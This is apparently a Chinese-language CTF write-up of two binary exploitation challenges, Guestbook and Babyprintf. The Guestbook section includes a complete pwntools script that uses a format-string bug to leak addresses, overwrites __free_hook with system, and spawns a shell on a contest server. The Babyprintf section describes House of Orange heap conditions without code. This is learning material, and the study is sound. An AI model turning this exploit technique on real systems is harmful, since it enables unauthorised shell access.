0x00 一些歪道理
比賽時pwn是肯定pwn不出來的,只有靠賽后復(fù)現(xiàn)才能夠勉強維持得了尊嚴。不過確實能學(xué)到一些知識啊~
0x01 Guestbook
-
題目信息
該題目是一個Linux下32位的動態(tài)鏈接可執(zhí)行文件并且checksec顯示開了所有的保護機制。程序有add、see、del三個功能,能夠增加客人、查看客人、刪除客人。checksec 漏洞位置
通過ida反匯編分析可得到數(shù)據(jù)結(jié)構(gòu)如下:
struct guest{
int a; //我也不知道這是啥反正永遠那都是1
char name[32];
struct *heap_ptr;
}
struct heap_ptr{
char phone[16];
} //malloc了大小為16的空間用于存放phone
并且最多add10個guest,在see功能處有明顯的格式化字符串漏洞,在del時會將name域請零,并且將heap_ptr指向phone的指針給free掉。

漏洞位置
-
利用思路
由于保護機制全開,首先需要利用格式化字符串leak程序及libc基址,但是got表不可寫,常用的格式化字符串寫got表思路不可取。而在調(diào)用del時會調(diào)用free(heap_ptr),進而出發(fā)觸發(fā)free_hook。若將free_hook劫持為system函數(shù),heap_ptr指向/bin/sh字符串,則可起shell。
hook
一些函數(shù)存在hook指針供調(diào)試使用(如free、malloc等),通常為空指針,若hook值不為空,則在調(diào)用該函數(shù)之前先調(diào)用hook中的函數(shù)。
- My-exp
from pwn import *
local = 1
if local:
p = process('./guestbook')
libc = ELF('/lib32/libc-2.23.so')
gdb.attach(p , open('aa'))
else:
p = remote('47.100.64.171' , 20002)#nc 47.100.64.171 20002
libc = ELF('./libc.so.6')
def add(name):
p.recv(1024)
p.sendline('1')
p.recvuntil('name?\n')
p.sendline(name)
p.recvuntil('phone?\n')
p.sendline('1234567812345678')
def see(index):
p.recv(1024)
p.sendline('2')
p.recvuntil('index:\n')
p.sendline(index)
p.recvuntil('name:')
ret = p.recvuntil('\n')[:-1]
return ret
def dele(index):
p.recv(1024)
p.sendline('3')
p.recvuntil('index:\n')
p.sendline(index)
p.recvuntil('\n')
elf = ELF('./guestbook')
#step1 use fsb to leak libc & elf base by the way find some func addr
add('%p-%3$p')
leak = see('0')
elf.address = int(leak.split('-')[0] , 16) - 0xe3a
libc.address = int(leak.split('-')[1] , 16) - 0x1b0da7
system_addr = libc.symbols['system']
binsh_addr = libc.search('/bin/sh').next()
free_hook = libc.address + 0x1b18b0
heap_ptr = elf.address + 0x3064
log.info('elf_addr => ' + hex(elf.address))
log.info('libc_addr => ' + hex(libc.address))
log.info('system_addr => ' + hex(system_addr))
log.info('binsh_addr => ' + hex(binsh_addr))
log.info('free_hook => ' + hex(free_hook))
#step2 write free_hook with system
for i in range(4):
length = ord(p32(system_addr)[i])
payload = 'aaa' + p32(free_hook + i)
payload += '%' + str(length - len(payload)) + 'c%8$hhn'
add(payload)
see(str(i + 1))
#step3 write heap_ptr with binsh
for i in range(4):
length = ord(p32(binsh_addr)[i])
payload = 'aaa' + p32(heap_ptr + i)
payload += '%' + str(length - len(payload)) + 'c%8$hhn'
add(payload)
see(str(i + 5))
#step4 call free(heap_ptr) -> free_hook(heap_ptr) -> system('/bin/sh')
p.recvuntil("choice:")
p.sendline('3')
p.sendline('0')
p.interactive()
0x02 Babyprintf
-
題目信息
該題目是一個Linux下64位的動態(tài)鏈接可執(zhí)行文件并且checksec顯示開了所有的保護機制。能夠自己定義size大小,輸入string得到result然后一直循環(huán)這個過程。
checksec -
漏洞位置
用ida分析,整個程序簡潔明了,功能完善,短小精悍,實乃精品。在size處我們可以申請任意長度的堆地址;string是通過gets進堆的,存在堆溢出漏洞;打印result時存在格式化字符串漏洞。漏洞位置
-
利用思路
然鵝本程序開了FORTIFY保護機制,該機制引入了__printf_chk函數(shù),導(dǎo)致你在使用%a$p時需要同時使用%(1到a)$p才可以,并且禁用了%n,所以利用格式化字符串寫的這條路基本被pass掉,只有可能進行一些簡單的leak。所以只有堆溢出可以嘗試一下,卻只有malloc而沒有free,幾乎玩不起來。在網(wǎng)上搜到了當時Hitcon2016中House of Orange的利用技巧,參考了兩篇文章:創(chuàng)造奇跡的Top Chunk以及ctf-HITCON-2016-houseoforange學(xué)習(xí)。利用堆溢出將top chunk修改為滿足下列條件的值后,再次malloc比fake top chunk更大的空間時將會創(chuàng)建一個新的堆塊并調(diào)用init_free將舊堆塊中的fake top chunk給free掉,即可利用此機制構(gòu)造fake top chunk size實現(xiàn)fastbin attack或unsort bin attack。
觸發(fā)_init_free的條件
1.大于MINSIZE(0X10)
2.小于所需的大小 + MINSIZE
3.prev inuse位設(shè)置為1
4.old_top + oldsize要在一個頁中.


